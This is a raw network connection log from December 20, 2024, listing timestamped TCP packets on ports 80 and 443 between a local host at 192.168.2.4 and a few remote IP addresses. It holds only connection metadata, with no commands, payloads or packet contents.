Dec 20, 2024 11:12:40.449537039 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.449589968 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.449677944 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.449732065 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.452692986 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.452842951 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.452908993 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.455882072 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.456039906 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.456099033 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.459007978 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.459070921 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.459155083 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.459904909 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.462160110 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.462220907 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.492352962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:40.495940924 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:40.496879101 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:40.537996054 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.538036108 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.538121939 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.539148092 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.539201975 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.539385080 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.541646004 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.541711092 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.541800022 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.543912888 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.544123888 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.544183969 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.544251919 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.544341087 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.546694994 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.546756029 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.546828032 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.546890020 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.549217939 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.549267054 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.549282074 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.549334049 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.551625967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.551712036 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.551778078 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.554030895 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.554126978 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.554191113 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.556349993 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.556405067 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.556462049 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.558696985 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.558732033 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.558760881 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.558794022 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.560997009 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.561103106 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.561181068 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.563184023 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.563287973 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.563385963 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.565433025 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.565500021 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.565572023 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.566592932 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.567600012 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.567663908 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.567723036 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.567792892 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.569751024 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.569860935 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.569921017 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.571934938 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.572068930 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.572120905 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.574552059 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.574604988 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.574666023 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.576142073 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.576176882 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.576205015 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.576236010 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.578212976 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.578267097 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.578423977 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.579902887 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.580281019 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.580332994 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.580466986 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.582420111 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.582477093 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.582559109 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.582649946 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.584503889 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.584570885 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.584578037 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.584621906 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.586414099 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.586457968 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.586533070 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.586802006 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.588457108 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.588514090 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.588576078 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.588768959 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.590497017 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.590553045 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.590559959 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.590764046 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.592472076 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.592525959 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.592602968 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.592650890 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.594445944 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.594501019 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.594578981 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.594911098 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.596683025 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.596735954 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.596740961 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.596781969 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.598490000 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.598520041 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.598567963 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.600528002 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.600584984 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.600630999 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.600733042 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.602525949 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.602586031 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.602622032 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.602799892 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.604542971 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.604600906 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.604636908 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.604681015 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.606620073 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.606702089 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.606786013 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.606843948 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.608520985 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.608583927 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.608673096 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.608800888 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.610574007 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.610626936 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.610655069 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.610702038 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.612654924 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.612715006 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.612894058 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.612950087 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.614603043 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.614667892 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.614716053 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.614789963 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.616414070 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:40.616554022 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.616677046 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.616720915 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.616755009 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.618635893 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.618705034 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.618755102 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.620613098 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.620673895 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.620723009 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.620840073 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.622683048 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.622742891 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.622983932 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.623039961 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.624636889 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.624690056 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.624830008 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.624878883 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.626653910 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.626719952 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.626775026 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.626831055 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.628722906 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.628777027 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.628823996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.628875017 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.630660057 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.630717039 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.630734921 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.630780935 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.632666111 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.632755041 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.632772923 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.632824898 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.634716034 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.634768009 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.634921074 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.634977102 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.636780024 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.636838913 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.636909962 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.636987925 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.638756990 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.638813972 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.638844967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.638900042 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.640892029 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.640954971 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.641042948 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.641146898 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.642781973 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.642836094 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.642841101 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.642889023 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.685317039 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:40.685435057 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:40.685568094 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:40.685786963 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:40.685837984 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:40.694529057 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:40.694617033 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:40.694817066 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:40.695096016 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:40.695132017 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:40.729994059 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.730061054 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.730156898 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.730206966 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.730690002 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.730736017 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.730843067 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.730889082 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.732224941 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.732278109 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.732326031 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.733709097 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.733764887 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.733859062 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.735054016 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.735243082 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.735292912 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.735368967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.735469103 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.736715078 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.736758947 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.736851931 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.736896992 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.738162994 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.738289118 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.738337994 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.739610910 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.739645958 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.739722013 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.741018057 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.741080046 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.741157055 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.741672039 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.742465973 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.742526054 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.742593050 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.742638111 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.743860960 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.743916035 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.743916988 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.743954897 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.745277882 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.745311975 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.745332003 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.745352983 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.746618032 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.746673107 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.746716022 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.746763945 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.748034000 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.748085022 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.748150110 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.748202085 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.749352932 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.749408007 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.749470949 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.749521017 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.750756979 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.750812054 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.750818014 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.750864983 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.752019882 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.752072096 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.752135038 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.752185106 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.753426075 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.753479004 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.753561974 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.753612041 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.754663944 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.754719973 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.754770041 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.754822969 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.755983114 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.756050110 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.756067038 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.756110907 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.757271051 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.757323027 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.757407904 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.757483006 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.758523941 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.758589983 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.758660078 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.758716106 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.759845018 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.759902954 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.760088921 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.760138988 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.761099100 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.761148930 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.761245966 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.761296034 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.762381077 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.762430906 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.762507915 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.762557030 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.763644934 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.763695002 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.763732910 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.763786077 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.764895916 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.764949083 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.765002012 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.765053034 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.766129017 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.766187906 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.766233921 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.766282082 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.767384052 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.767432928 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.767508984 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.767589092 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.768608093 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.768657923 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.768743992 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.768793106 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.769860029 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.769910097 CET	49845	80	192.168.2.4	185.215.113.16
